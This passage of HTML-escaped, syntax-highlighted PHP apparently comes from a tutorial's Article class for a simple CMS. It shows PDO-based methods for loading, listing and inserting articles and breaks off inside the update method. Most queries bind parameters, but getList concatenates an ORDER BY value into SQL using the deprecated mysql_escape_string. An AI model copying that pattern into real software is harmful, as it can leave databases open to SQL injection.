    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;isset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'content'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;content&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'content'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;


  &lt;span class=&quot;sd&quot;&gt;/**
  * Sets the object's properties using the edit form post values in the supplied array
  *
  * @param assoc The form post values
  */&lt;/span&gt;

  &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;storeFormValues&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$params&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;

    &lt;span class=&quot;c1&quot;&gt;// Store all the parameters
&lt;/span&gt;    &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;__construct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$params&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

    &lt;span class=&quot;c1&quot;&gt;// Parse and store the publication date
&lt;/span&gt;    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;isset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$params&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'publicationDate'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;nv&quot;&gt;$publicationDate&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;explode&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'-'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$params&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'publicationDate'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

      &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;count&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$publicationDate&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;list&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$y&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$m&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$d&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$publicationDate&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;publicationDate&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;mktime&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$m&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$d&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$y&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
      &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;


  &lt;span class=&quot;sd&quot;&gt;/**
  * Returns an Article object matching the given article ID
  *
  * @param int The article ID
  * @return Article|false The article object, or false if the record was not found or there was a problem
  */&lt;/span&gt;

  &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;getById&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$id&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;$conn&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;PDO&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;DB_DSN&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;DB_USERNAME&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;DB_PASSWORD&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;$sql&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;SELECT *, UNIX_TIMESTAMP(publicationDate) AS publicationDate FROM articles WHERE id = :id&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;$st&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$conn&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;prepare&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$sql&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;$st&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;bindValue&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;:id&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$id&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;PDO&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;PARAM_INT&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;$st&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;execute&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;$row&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$st&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;fetch&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;$conn&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$row&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;Article&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$row&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;


  &lt;span class=&quot;sd&quot;&gt;/**
  * Returns all (or a range of) Article objects in the DB
  *
  * @param int Optional The number of rows to return (default=all)
  * @param string Optional column by which to order the articles (default=&quot;publicationDate DESC&quot;)
  * @return Array|false A two-element array : results =&amp;gt; array, a list of Article objects; totalRows =&amp;gt; Total number of articles
  */&lt;/span&gt;

  &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;getList&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$numRows&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1000000&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$order&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;publicationDate DESC&quot;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;$conn&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;PDO&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;DB_DSN&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;DB_USERNAME&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;DB_PASSWORD&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;$sql&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;SELECT SQL_CALC_FOUND_ROWS *, UNIX_TIMESTAMP(publicationDate) AS publicationDate FROM articles
            ORDER BY &quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;mysql_escape_string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$order&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot; LIMIT :numRows&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

    &lt;span class=&quot;nv&quot;&gt;$st&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$conn&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;prepare&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$sql&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;$st&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;bindValue&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;:numRows&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$numRows&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;PDO&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;PARAM_INT&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;$st&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;execute&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;$list&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$row&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$st&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;fetch&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;nv&quot;&gt;$article&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;Article&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$row&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
      &lt;span class=&quot;nv&quot;&gt;$list&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$article&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;c1&quot;&gt;// Now get the total number of articles that matched the criteria
&lt;/span&gt;    &lt;span class=&quot;nv&quot;&gt;$sql&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;SELECT FOUND_ROWS() AS totalRows&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;$totalRows&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$conn&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;query&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$sql&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;fetch&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;$conn&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;array&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;results&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$list&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;totalRows&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$totalRows&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;


  &lt;span class=&quot;sd&quot;&gt;/**
  * Inserts the current Article object into the database, and sets its ID property.
  */&lt;/span&gt;

  &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;insert&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;

    &lt;span class=&quot;c1&quot;&gt;// Does the Article object already have an ID?
&lt;/span&gt;    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;is_null&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;id&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;trigger_error&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Article::insert(): Attempt to insert an Article object that already has its ID property set (to &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$this-&amp;gt;id&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;).&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;E_USER_ERROR&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

    &lt;span class=&quot;c1&quot;&gt;// Insert the Article
&lt;/span&gt;    &lt;span class=&quot;nv&quot;&gt;$conn&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;PDO&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;DB_DSN&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;DB_USERNAME&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;DB_PASSWORD&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;$sql&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;INSERT INTO articles ( publicationDate, title, summary, content ) VALUES ( FROM_UNIXTIME(:publicationDate), :title, :summary, :content )&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;$st&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$conn&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;prepare&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$sql&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;$st&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;bindValue&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;:publicationDate&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;publicationDate&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;PDO&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;PARAM_INT&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;$st&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;bindValue&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;:title&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;title&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;PDO&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;PARAM_STR&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;$st&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;bindValue&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;:summary&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;summary&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;PDO&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;PARAM_STR&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;$st&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;bindValue&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;:content&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;content&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;PDO&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;PARAM_STR&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;$st&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;execute&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;id&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$conn&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;lastInsertId&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;$conn&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;


  &lt;span class=&quot;sd&quot;&gt;/**
  * Updates the current Article object in the database.
  */&lt;/span&gt;

  &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;update&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;

    &lt;span class=&quot;c1&quot;&gt;// Does the Article object have an ID?
